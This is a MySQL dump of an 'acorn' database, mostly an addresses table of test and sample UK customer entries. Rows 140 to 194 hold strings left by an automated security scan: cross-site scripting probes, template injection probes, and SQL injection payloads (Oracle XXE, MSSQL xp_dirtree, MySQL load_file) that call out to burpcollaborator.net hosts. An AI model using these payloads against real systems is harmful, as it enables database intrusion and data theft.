· 9 years ago · Jun 21, 2017, 04:28 PM
1# ************************************************************
2# Sequel Pro SQL dump
3# Version 4541
4#
5# http://www.sequelpro.com/
6# https://github.com/sequelpro/sequelpro
7#
8# Host: 127.0.0.1 (MySQL 5.7.11-log)
9# Database: acorn
10# Generation Time: 2017-06-21 10:30:00 +0000
11# ************************************************************
12
13
14/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
15/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
16/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
17/*!40101 SET NAMES utf8 */;
18/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
19/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
20/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
21
22
23# Dump of table addresses
24# ------------------------------------------------------------
25
26DROP TABLE IF EXISTS `addresses`;
27
28CREATE TABLE `addresses` (
29 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
30 `user_id` int(11) unsigned NOT NULL,
31 `first_name` varchar(255) NOT NULL,
32 `last_name` varchar(255) NOT NULL,
33 `company_name` varchar(255) NOT NULL,
34 `address_line_1` varchar(255) NOT NULL,
35 `address_line_2` varchar(255) NOT NULL,
36 `town` varchar(255) NOT NULL,
37 `district` varchar(255) NOT NULL,
38 `postal_code` varchar(15) NOT NULL,
39 `country_code` varchar(3) NOT NULL,
40 `created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
41 PRIMARY KEY (`id`)
42) ENGINE=InnoDB DEFAULT CHARSET=utf8;
43
44LOCK TABLES `addresses` WRITE;
45/*!40000 ALTER TABLE `addresses` DISABLE KEYS */;
46
47INSERT INTO `addresses` (`id`, `user_id`, `first_name`, `last_name`, `company_name`, `address_line_1`, `address_line_2`, `town`, `district`, `postal_code`, `country_code`, `created`)
48VALUES
49 (1,1,'test','test','IW','1 test Street','Test','test','','LS1 1TS','UK','2017-05-18 16:29:45'),
50 (2,2,'John','Smith','','50 John Street','','Huddersfield','','HD2 2XB','UK','2017-05-19 08:17:40'),
51 (3,3,'Bob','Jones','','24 Portland Street','','Manchester','','M1 2ND','UK','2017-05-19 08:18:52'),
52 (4,3,'Bob','Jones','','22 Frank Street','','Bristol','','B1 2DE','UK','2017-05-19 08:21:00'),
53 (5,4,'Dan','Brayshaw','','Apsley House','78 Wellington Street','Leeds','','LS1 2EQ','UK','2017-05-19 08:38:23'),
54 (6,4,'Dan','Brayshaw','','Test address','Test','Test','','Te12 5TD','UK','2017-05-19 08:39:55'),
55 (7,10,'Bob','Smith','','12 Smith Street','','Smithtown','','SM1 1TH','UK','2017-05-19 08:46:10'),
56 (8,5,'Bob','Smith','','12 Smith Street','','Smithtown','','SM1 1TH','UK','2017-05-19 08:46:10'),
57 (9,9,'Bob','Smith','','12 Smith Street','','Smithtown','','SM1 1TH','UK','2017-05-19 08:46:10'),
58 (10,7,'Bob','Smith','','12 Smith Street','','Smithtown','','SM1 1TH','UK','2017-05-19 08:46:10'),
59 (11,8,'Bob','Smith','','12 Smith Street','','Smithtown','','SM1 1TH','UK','2017-05-19 08:46:10'),
60 (12,11,'Thomas','Gray','Infinity Works','24 Wood Lane','','CASTLEFORD','','WF10 5PF','UK','2017-05-22 10:51:39'),
61 (13,13,'Chris','Empson','Infinity Works','Apsley House','78 Wellington Street','Leeds','West Yorkshire','LS1 2EQ','UK','2017-05-22 14:40:58'),
62 (14,14,'test','test','','test','','test','','test','UK','2017-05-22 14:46:50'),
63 (15,17,'Jay','R','','cheese','','leeds','','ls6 2bd','UK','2017-05-23 14:57:04'),
64 (16,18,'Teddy','Sanders','','4 The Smith','','Bath','','RH1 1AA','UK','2017-05-25 09:00:07'),
65 (17,19,'Marcell','Spellman','','109 Smithy Lane','','Birmingham','','ST11 9RS','UK','2017-05-25 09:00:07'),
66 (18,20,'Odelia','Feathers','','Apartment 9/Croft Court','','Bradford','','PA31 8PP','UK','2017-05-25 09:00:07'),
67 (19,21,'Cheryll','Reitzel','','Apt 9 Davis House','','Brighton & Hove','','S42 5JT','UK','2017-05-25 09:00:07'),
68 (20,22,'Jaunita','Lally','','7 Woodhouse Avenue','','Bristol','','EH52 5HB','UK','2017-05-25 09:00:07'),
69 (21,23,'Janette','Muro','','27 Viaduct St','','Cambridge','','IP4 5UX','UK','2017-05-25 09:00:07'),
70 (22,24,'Luke','Benigno','','78 Clyde Terrace','','Canterbury','','CF47 8TE','UK','2017-05-25 09:00:07'),
71 (23,25,'So','Duggan','','1001 Knaresborough Drive','','Carlisle','','B96 6DA','UK','2017-05-25 09:00:07'),
72 (24,26,'Jamey','Smith','','67 Crescent','','Chelmsford','','BL4 0EF','UK','2017-05-25 09:00:07'),
73 (25,27,'Jung','Benjamin','','Rm 7, 79 Scorpio Close','','Chester','','MK6 2DR','UK','2017-05-25 09:00:07'),
74 (26,28,'Becki','Estrella','','47 Warrenside','','Chichester','','AB12 5RP','UK','2017-05-25 09:00:07'),
75 (27,29,'Gaynelle','Prettyman','','18 Martyn Crescent','','Coventry','','PH1 1QW','UK','2017-05-25 09:00:07'),
76 (28,30,'Shona','Comiskey','','909 Lea Gove','','Derby','','RH12 1JF','UK','2017-05-25 09:00:07'),
77 (29,31,'Son','Mayers','','7654 Bridlington Gardens','','Durham','','BH18 8DR','UK','2017-05-25 09:00:07'),
78 (30,32,'Briana','Mcilwain','','700 Woodhouse Hill','','Ely','','PA15 9AE','UK','2017-05-25 09:00:07'),
79 (31,33,'Elfriede','Mitton','','85 Sheepridge Grove','','Exeter','','LN2 4DX','UK','2017-05-25 09:00:07'),
80 (32,34,'Brandi','Davis','','35353 Seadrive Road','','Gloucester','','HP14 3UY','UK','2017-05-25 09:00:07'),
81 (33,35,'Delsie','Tomlin','','Flat 2, 8 Compton House','','Hereford','','M33 6WY','UK','2017-05-25 09:00:08'),
82 (34,36,'Francesca','Barrington','','Ashleigh, 72 Sandown Road','','Kingston upon Hull','','BA14 7HA','UK','2017-05-25 09:00:08'),
83 (35,37,'Michell','Poole Davies','','Mitch\'s Place, 101 Hill Top','','Lancaster','','CW9 8RN','UK','2017-05-25 09:00:08'),
84 (36,38,'Aleida','Rideout','','35 Huddersfield Road','','Leeds','','M27 4EQ','UK','2017-05-25 09:00:08'),
85 (37,39,'Delmy','Zuber','','53 Manchester Street','','Leicester','','LL55 1AP','UK','2017-05-25 09:00:08'),
86 (38,40,'Cicely','Radke','','63 Waterloo Road','','Lichfield','','NG14 7HA','UK','2017-05-25 09:00:08'),
87 (39,41,'Becky','Old','','44 Augustine Drive','','Lincoln','','SO31 7DD','UK','2017-05-25 09:00:08'),
88 (40,42,'Agueda','Welling','','Basement Flat, 16 The Loch','','Liverpool','','GU10 2QA','UK','2017-05-25 09:00:08'),
89 (41,43,'Joanie','Gutierrez','','Flat 1001, Berry Brow Flats','','City of London','','ME1 2DG','UK','2017-05-25 09:00:08'),
90 (42,44,'Dorethea','Chico','','Cliffe Hill House, 76 Barney St','','City of London','','B1 1UP','UK','2017-05-25 09:00:08'),
91 (43,45,'Mickie','Clay','','58 Leicester Grove','','Manchester','','BS23 1BW','UK','2017-05-25 09:00:08'),
92 (44,46,'Wilda','Linen','','99 Leeds Road','','Newcastle upon Tyne','','OL14 6JQ','UK','2017-05-25 09:00:08'),
93 (45,47,'Ida','Isley','','Apt 70, Bristol Drive','','Norwich','','RG20 8HZ','UK','2017-05-25 09:00:08'),
94 (46,48,'Dewey','Screen','','Lance Buildings, 45 Honey Lane','','Nottingham','','SA16 0RB','UK','2017-05-25 09:00:08'),
95 (47,49,'Lenny','Maycock','','Flat 2, Fairy Gdns','','Oxford','','E14 6GB','UK','2017-05-25 09:00:08'),
96 (48,50,'Hortencia','Loper','','Poppy House, 4 Tenet Place','','Peterborough','','BH13 6BG','UK','2017-05-25 09:00:08'),
97 (49,51,'Merlyn','Devries','','Birkby Grange, 65 Birkby Hall Road','','Plymouth','','HX3 9JF','UK','2017-05-25 09:00:08'),
98 (50,52,'Sherise','Orenstein','','20 Waterloo Road','','Portsmouth','','SW9 9HL','UK','2017-05-25 09:00:08'),
99 (51,53,'Moshe','Moulden','','3 Zodiac Drive','','Preston','','PO4 8BQ','UK','2017-05-25 09:00:08'),
100 (52,54,'Zoila','Smith','','93 Taurus Crescent','','Ripon','','TS23 2DT','UK','2017-05-25 09:00:08'),
101 (53,55,'Thomasena','Carr','','0/2 Cardigan Crescent','','Salford','','BL5 2NL','UK','2017-05-25 09:00:08'),
102 (54,56,'Rex','Candy - Willis','','1101/3 Peter Street','','Salisbury','','MK40 3SJ','UK','2017-05-25 09:00:08'),
103 (55,57,'Lenita','Shira-jones','','Three Salsbury','','Sheffield','','GU27 2EY','UK','2017-05-25 09:00:08'),
104 (56,58,'Yong','Rolando','','51 Juniper Close','','Southampton','','BD14 6EU','UK','2017-05-25 09:00:08'),
105 (57,59,'Katrina','Carper','','4 Martin Close','','St Albans','','CH7 1PB','UK','2017-05-25 09:00:08'),
106 (58,60,'Bertie','Harkless','','7 Martyn Close','','Stoke-on-Trent','','KY8 2DB','UK','2017-05-25 09:00:08'),
107 (59,61,'Sharda','Yamauchi','','Old MacDonald Farm, 12 Be Lane','','Sunderland','','BN15 9AH','UK','2017-05-25 09:00:08'),
108 (60,62,'Berniece','Deese','','30 Norman road','','Truro','','BR7 6BA','UK','2017-05-25 09:00:09'),
109 (61,63,'Corrinne','Osgood','','55 Babylane','','Wakefield','','CR8 2LG','UK','2017-05-25 09:00:09'),
110 (62,64,'Brain','Guizar','','St Peters Square, apt 4','','Wells','','NP22 3SD','UK','2017-05-25 09:00:09'),
111 (63,65,'Shery','Sowders','','6 Gerald Drive','','Westminster','','M22 4QE','UK','2017-05-25 09:00:09'),
112 (64,66,'Selina','Smith','','9 Tominsina Avenue','','Winchester','','CR5 2ZE','UK','2017-05-25 09:00:09'),
113 (65,67,'Rosann','Varnes','','10 Blakely Terrace','','Wolverhampton','','SG7 6FQ','UK','2017-05-25 09:00:09'),
114 (66,68,'Mardell','Odriscoll','','4 Madison Square','','Worcester','','CM8 1AF','UK','2017-05-25 09:00:09'),
115 (67,69,'Constance','Romo','','28 Knightbridge Road','','York','','CO14 8HU','UK','2017-05-25 09:00:09'),
116 (68,70,'Cheri','Bulkley','','Unit H, Albert Street','','Inverness','','W8 6UY','UK','2017-05-25 09:00:09'),
117 (69,71,'Columbus','Torain','','c/o Top Shop, 14 high Street','','Perth','','ME18 5PT','UK','2017-05-25 09:00:09'),
118 (70,72,'Chin','Loar','','71 The Lane','','Stirling','','PO16 0AW','UK','2017-05-25 09:00:09'),
119 (71,73,'Tiffanie','Vanpelt','','90 Harpe Close','','Welsh Cities','','GU27 1PT','UK','2017-05-25 09:00:09'),
120 (72,74,'Marvin','Desanti','','41 diss way','','Bangor','','SE18 1TD','UK','2017-05-25 09:00:09'),
121 (73,75,'Smith','Worrell','','The Worrells, 12 Hype Road','','Cardiff','','HP11 2SD','UK','2017-05-25 09:00:09'),
122 (74,76,'Dorathy','Tung','','11 The Street','','Inverness','','CV3 1PD','UK','2017-05-25 09:00:09'),
123 (75,77,'Cathern','MCDonald','','76 Bradley Boulevard','','Perth','','LS24 9LH','UK','2017-05-25 09:00:09'),
124 (76,78,'Kellee','McDonald','','8/8 Dunfries','','Stirling','','KT3 6PX','UK','2017-05-25 09:00:09'),
125 (77,79,'Evelia','Mc Donald','','Cwmystwtyh','','Welsh Cities','','SG6 4LH','UK','2017-05-25 09:00:09'),
126 (78,80,'Odelia','Mc Donald','','6 Crotch Crescent','','Bangor','','CV8 1AF','UK','2017-05-25 09:00:09'),
127 (79,81,'Clarissa','Taniguchi','','7 Langdon Road','','Cardiff','','KT16 9HP','UK','2017-05-25 09:00:09'),
128 (80,82,'Jocelyn','Sirmons','','Bluebells, 8 Station Road','','Norwich','','E16 1NX','UK','2017-05-25 09:00:09'),
129 (81,83,'Meta','Freshour','','7 Creek Close','','Nottingham','','HU1 3DT','UK','2017-05-25 09:00:09'),
130 (82,84,'Gayla','Zacharias','','9 Juniper Close','','Oxford','','NG3 5QU','UK','2017-05-25 09:00:09'),
131 (83,85,'Luciano','Debord','','8 Waterfall Way','','Peterborough','','NE24 2NF','UK','2017-05-25 09:00:09'),
132 (84,86,'Lydia','Lum','','5 Western Close','','Plymouth','','BT78 2HS','UK','2017-05-25 09:00:09'),
133 (85,87,'Brigette','Pippin','','4 Dee Palace Gardens','','Portsmouth','','RH5 6NJ','UK','2017-05-25 09:00:09'),
134 (86,88,'Cherly','Kitzman','','71 Powell Place','','Preston','','CB7 5XT','UK','2017-05-25 09:00:10'),
135 (87,89,'Hana','Eller','','5 Ellersby Terrace','','Ripon','','TN13 1PX','UK','2017-05-25 09:00:10'),
136 (88,90,'Brandy','Sypher','','18 Pear Place','','Salford','','LA9 4EN','UK','2017-05-25 09:00:10'),
137 (89,91,'Arlinda','Sola','','4 Bayley Drive','','Salisbury','','PE37 7BJ','UK','2017-05-25 09:00:10'),
138 (90,92,'Zetta','Reigle','','6 Scott Grove','','Sheffield','','NG34 7JU','UK','2017-05-25 09:00:10'),
139 (91,93,'Shelley','Alto','','8 Zena Warrior Street','','Southampton','','DN11 0FX','UK','2017-05-25 09:00:10'),
140 (92,94,'Salley','Begum','','5 Sir Lenny Henry Way','','St Albans','','PE12 6LL','UK','2017-05-25 09:00:10'),
141 (93,95,'Norene','Criswell','','44 Dale Street','','Stoke-on-Trent','','RG10 0XH','UK','2017-05-25 09:00:10'),
142 (94,96,'Evelina','Zelaya','','9 Whisper Terrace','','Sunderland','','NW1 4LB','UK','2017-05-25 09:00:10'),
143 (95,97,'Nadia','Greeley','','9 Isla Street','','Truro','','N15 5AZ','UK','2017-05-25 09:00:10'),
144 (96,98,'Juli','Henderson','','10 The Square','','Wakefield','','CM3 4LN','UK','2017-05-25 09:00:10'),
145 (97,99,'Leesa','Councill','','81 Bell Drive','','Wells','','SA61 2LQ','UK','2017-05-25 09:00:10'),
146 (98,100,'Fredric','Latorre','','61 Horseshoe Drive','','Norwich','','GU12 4QW','UK','2017-05-25 09:00:10'),
147 (99,101,'Enrique','Lamirande','','22 Kell Lane','','Nottingham','','CH4 8DJ','UK','2017-05-25 09:00:10'),
148 (100,102,'Nia','Jahnke','','Flat3/6 Meridian House','','Oxford','','PO12 2LY','UK','2017-05-25 09:00:10'),
149 (101,103,'Hermila','Smith','','9 Woodhouse Hill Grove','','Peterborough','','NW1 0QA','UK','2017-05-25 09:00:10'),
150 (102,104,'Amina','Adorno','','6 Blackstock Terrace','','Plymouth','','PL25 4PN','UK','2017-05-25 09:00:10'),
151 (103,105,'Korey','Cone','','34 Druary Lane','','Portsmouth','','BN8 4TD','UK','2017-05-25 09:00:10'),
152 (104,106,'Wilford','Ramirez','','8 Peacock Gdns','','Preston','','EX33 1PN','UK','2017-05-25 09:00:10'),
153 (105,107,'Sherlene','Hetzel','','100 Pretzel Street','','Ripon','','UB3 9EW','UK','2017-05-25 09:00:10'),
154 (106,108,'Murray','Nightingale','','83 Chaplin Way','','Salford','','BD7 2PZ','UK','2017-05-25 09:00:10'),
155 (107,109,'Candance','Beshears','','412 Coronation Street','','Salisbury','','RG2 7ET','UK','2017-05-25 09:00:10'),
156 (108,110,'Tran','Macke','','82 Bexley Hill','','Sheffield','','IP12 1QE','UK','2017-05-25 09:00:10'),
157 (109,111,'Valorie','Rayes','','8 Meadow Terrace','','Southampton','','EX20 1RL','UK','2017-05-25 09:00:10'),
158 (110,112,'Vania','Vieira','','13 Myers Close','','St Albans','','MK15 0AW','UK','2017-05-25 09:00:10'),
159 (111,113,'Adelaida','Beltran','','6 Grimescar Street','','Stoke-on-Trent','','NG19 9HA','UK','2017-05-25 09:00:10'),
160 (112,114,'Sylvie','Lovato','','38 Robin Hood Grove','','Sunderland','','BA16 0LJ','UK','2017-05-25 09:00:11'),
161 (113,115,'Clarisa','Smithers','','401 Sherwin Gardens','','Truro','','CF14 8JE','UK','2017-05-25 09:00:11'),
162 (114,116,'Nancy','Kleist','','712 Montague Place','','Wakefield','','IP3 0FS','UK','2017-05-25 09:00:11'),
163 (115,117,'Mozell','Spiess','','823 Brewsters Way','','Wells','','WR10 2PB','UK','2017-05-25 09:00:11'),
164 (116,79,'Evelia','Mc\'donald','','22 viaduct street','','Huddersfield','','HD2 2xb','UK','2017-05-25 14:23:45'),
165 (117,44,'Dorethea','Chico','','Cliffe hill/','','City of London','','BH18 8DR','UK','2017-05-25 14:40:45'),
166 (118,44,'Dorethea','Chico','','Cliffe hill/','','City of London','','BH18 8DR','UK','2017-05-25 14:41:12'),
167 (119,94,'Salley','Begum','','5 Sir Lenny Henry Way','','St Albans','','BH188DR','UK','2017-05-25 14:45:06'),
168 (120,3,'Bob','Jones','','RESIDENCE DES FLEURS','','8 ALLEE DES LILAS','','75014 PARIS','UK','2017-05-26 12:47:28'),
169 (121,118,'Thomas','Gray','Infinity Works','24 Wood Lane','','CASTLEFORD','','WF10 5PF','UK','2017-05-26 15:49:05'),
170 (122,119,'Joseph','Gourvenec','Taste Marketing Ltd','7','Troy Rise','Leeds','','LS27 8JH','UK','2017-05-31 14:38:51'),
171 (123,1,'test','test','Abi test','1 my house','smelly lane','fight town','','OL14 5BN','UK','2017-06-07 09:59:57'),
172 (124,120,'Test','Tester','Test','1','1','Leeds','1','LS1 1AJ','UK','2017-06-12 19:33:19'),
173 (125,121,'Thomas','Gray','Infinity Works','24 Wood Lane','','CASTLEFORD','24 Wood Lane','WF10 5PF','UK','2017-06-13 12:23:44'),
174 (126,122,'Test','Test','','Test address','Test','Test','','Te12 5TD','UK','2017-06-14 10:29:07'),
175 (127,122,'Bob','Test','','Test address','Test','Test','','Te12 5TD','UK','2017-06-14 10:29:38'),
176 (128,76,'Liz','Pearson','','52 Blah Road','','Blahsvile','','S70 3RS','UK','2017-06-14 13:13:22'),
177 (129,76,'liz','p','','45 blah rd','','blah','','S76 3ed','UK','2017-06-14 13:18:40'),
178 (130,99,'Caroline','Taylor','Tastecard','85 Birkby Hall Road','','Huddersfield','West Yorkshire','HD2 2XB','UK','2017-06-14 14:42:55'),
179 (131,32,'Jane','Smith','','22 Viaduct Street','','Huddersfield','','HD16AJ','UK','2017-06-14 14:46:37'),
180 (132,2,'Ben','Taylor','','72 John Street','','Huddersfield','','HD9 8TD','UK','2017-06-14 14:48:23'),
181 (133,72,'Donna','Louise','','89 Birkby Road','','Huddersfield','','HD4 7HB','UK','2017-06-14 14:49:56'),
182 (134,57,'Liz','Shaw','','91 New Road','Kirkheaton','Huddersfield','','HD7 9KL','UK','2017-06-14 14:51:05'),
183 (135,27,'Linn','Bob','','65 Kirkhaven Square','','Manchester','','M2 6CT','UK','2017-06-14 14:52:17'),
184 (136,86,'Sarah','Shaw','','54 New Road','','Leeds','','LS5 8RS','UK','2017-06-14 14:53:41'),
185 (137,5,'Zoe','Rhodes','','38 Shop Lane','','Mirfield','','HD89LM','UK','2017-06-14 14:54:51'),
186 (138,123,'jac','NEWBURY','','8th Floor, Eastgate House, Yard Associates','','Cardiff','','CF24 0AB','UK','2017-06-15 10:42:05'),
187 (139,122,'Bob','smith','','Test address','Test','Test','','Te12 5TD','UK','2017-06-15 15:51:52'),
188 (140,124,'\'','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:46:09'),
189 (141,124,'\'','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:46:31'),
190 (142,124,'xxx','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:50:36'),
191 (143,124,'xxx<>','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:51:23'),
192 (144,124,'xxx<>\'\"','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:51:53'),
193 (145,124,'xxx<>\'\"','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:57:24'),
194 (146,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:57:30'),
195 (147,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:58:14'),
196 (148,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:58:29'),
197 (149,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 08:58:50'),
198 (150,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:12'),
199 (151,124,'sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:13'),
200 (152,124,'wf8dqjr7nq','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:14'),
201 (153,124,'i0on0wom2hÃÂbxnv75dd10','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:16'),
202 (154,124,'nbhe6ts2f0%41fn60g0526a','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:18'),
203 (155,124,'91bo6wux3z\\\\lnfgwu30tz','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:21'),
204 (156,124,'xf6nywu60eAq4565tm4uk','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:23'),
205 (157,124,'sdertg9mknk22kxn','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:25'),
206 (158,124,'sdertgy5bbtuixomÃÂfrxv8kekv2','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:27'),
207 (159,124,'sdertgauoeq3bx3s%41ffpqe1dn0f','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:29'),
208 (160,124,'sdertg5b14eiv00e\\\\llxyn52m8g','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:29'),
209 (161,124,'sdertgai7y28iptvAsxtkzprlz6','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:30'),
210 (162,124,'8gpnlhiqyaaxvtpw7sizepifa6gx4psgi38rx.burpcollaborator.net','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:31'),
211 (163,124,'http://ao2ptjqs6ciz3vxyfuq1mrqhi8ozcp0gq3gr5.burpcollaborator.net/?sdertg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:32'),
212 (164,124,'sdertgalert(1)','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:32'),
213 (165,124,'sdertggq584\"><a>d62x2','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:33'),
214 (166,124,'sdertggq584\"><a>d62x2','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:33'),
215 (167,124,'sdertggq584%22%3e%3ca%3ed62x2','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:34'),
216 (168,124,'sdertg\0gq584\"><a>d62x2','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:34'),
217 (169,124,'sdertgyg8zx47fee\">><','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:34'),
218 (170,124,'sdertgyg8zx47fee\">><','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:35'),
219 (171,124,'sdertgyg8zx47fee%22%3e%3e%3c','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:35'),
220 (172,124,'sdertg\0yg8zx47fee\">><','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:36'),
221 (173,124,'sdertgzoicw\"a=\"b\"q8qfg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:36'),
222 (174,124,'sdertgzoicw\"a=\"b\"q8qfg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:37'),
223 (175,124,'sdertgzoicw%22a%3d%22b%22q8qfg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:38'),
224 (176,124,'sdertg\0zoicw\"a=\"b\"q8qfg','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:39'),
225 (177,124,'sdertgzr7c1\" a=buvyma','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:41'),
226 (178,124,'sdertgzr7c1\" a=buvyma','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:42'),
227 (179,124,'sdertgzr7c1%22%20a%3dbuvyma','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:43'),
228 (180,124,'sdertg\0zr7c1\" a=buvyma','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:44'),
229 (181,124,'n9f8p${986*517}lhgb9','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:45'),
230 (182,124,'lk0cb{{820*855}}e0kcw','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:46'),
231 (183,124,'sdertg}}nuc93\'/\"<cigku','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:47'),
232 (184,124,'sdertg%}skwf6\'/\"<x8jow','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:49'),
233 (185,124,'sdertgtweu4%>g8sig\'/\"<y1gqo','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:50'),
234 (186,124,'(select extractvalue(xmltype(\'<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY % tgpmz SYSTEM \"http://lsh0xuu3anma7619j5ucq2usmjsagd44urkf9.burpcollab\'||\'orator.net/\">%tgpmz;]>\'),\'/l\') from dual)','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:51'),
235 (187,124,'sdertg\'||(select extractvalue(xmltype(\'<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY % tgpmz SYSTEM \"http://ojb3oxl61qddy9sca8lfh5lvdmjd7hv8lvbj0.burpcollab\'||\'orator.net/\">%tgpmz;]>\'),\'/l\') from dual)||\'','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:51'),
236 (188,124,'sdertg;declare @q varchar(99);set @q=\'\\\\75amag7pn9zwksevwr7y3o7ez55wtnjba1xrlg.burpcollab\'+\'orator.net\\ijk\'; exec master.dbo.xp_dirtree @q;--','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:52'),
237 (189,124,'sdertg\';declare @q varchar(99);set @q=\'\\\\juhyzsw1clo89437l3was0wqohu8iz9n0dn3bs.burpcollab\'+\'orator.net\\xby\'; exec master.dbo.xp_dirtree @q;--','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:53'),
238 (190,124,'sdertg);declare @q varchar(99);set @q=\'\\\\xfgck6hfxz9muiol6hhodeh49vfm3dv1mr9hx6.burpcollab\'+\'orator.net\\zec\'; exec master.dbo.xp_dirtree @q;--','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:54'),
239 (191,124,'sdertg\');declare @q varchar(99);set @q=\'\\\\rd86i0f9vt7gscmf4bfib8fy7pdg17uvll8bw0.burpcollab\'+\'orator.net\\gsv\'; exec master.dbo.xp_dirtree @q;--','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:55'),
240 (192,124,'(select load_file(\'\\\\\\\\xvwc06xfdzpmai4lmhxotex4pvvmjdl1crzhn6.burpcollaborator.net\\\\xfi\'))','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:56'),
241 (193,124,'sdertg\'+(select load_file(\'\\\\\\\\zgjel8ihy1aovkpn7jiqegi6axgo4f73ytlj98.burpcollaborator.net\\\\rvp\'))+\'','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:57'),
242 (194,124,'sdertg\'','xxx<>\'\"','\'','\'','\'','\'','\'','\'','UK','2017-06-19 09:05:57'),
243 (195,10,'test','test','IW','1 test Street','Test','test','','LS1 1TS','UK','2017-06-19 10:22:44'),
244 (196,125,'Thomas','Gray','Infinity Works','24 Wood Lane','Leeds','CASTLEFORD','24 Wood Lane','WF10 5PF','UK','2017-06-19 15:06:50'),
245 (197,126,'John','Smith','','Smith Street','','Leeds','','LS12TW','UK','2017-06-19 15:10:40'),
246 (198,127,'pete','richards','','xx','xx','xx','xx','xx','UK','2017-06-20 13:51:38'),
247 (199,128,'\'','\'','\'','\'','\'','\'','\'','\'','UK','2017-06-20 14:24:44'),
248 (200,129,'Charanjeet','Saggu','S4 Media & Photography','23 Redbrook Way','','Bradford','','BD9 6SF','UK','2017-06-20 16:04:49'),
249 (201,120,'xxx','test','test','test','test','test','test','test','UK','2017-06-21 08:23:53'),
250 (202,120,'111111111','test','testtest','test','test','test','test','test','UK','2017-06-21 08:29:38');
251
252/*!40000 ALTER TABLE `addresses` ENABLE KEYS */;
253UNLOCK TABLES;
254
255
256# Dump of table audit
257# ------------------------------------------------------------
258
259
260# Dump of table brands
261# ------------------------------------------------------------
262
263DROP TABLE IF EXISTS `brands`;
264
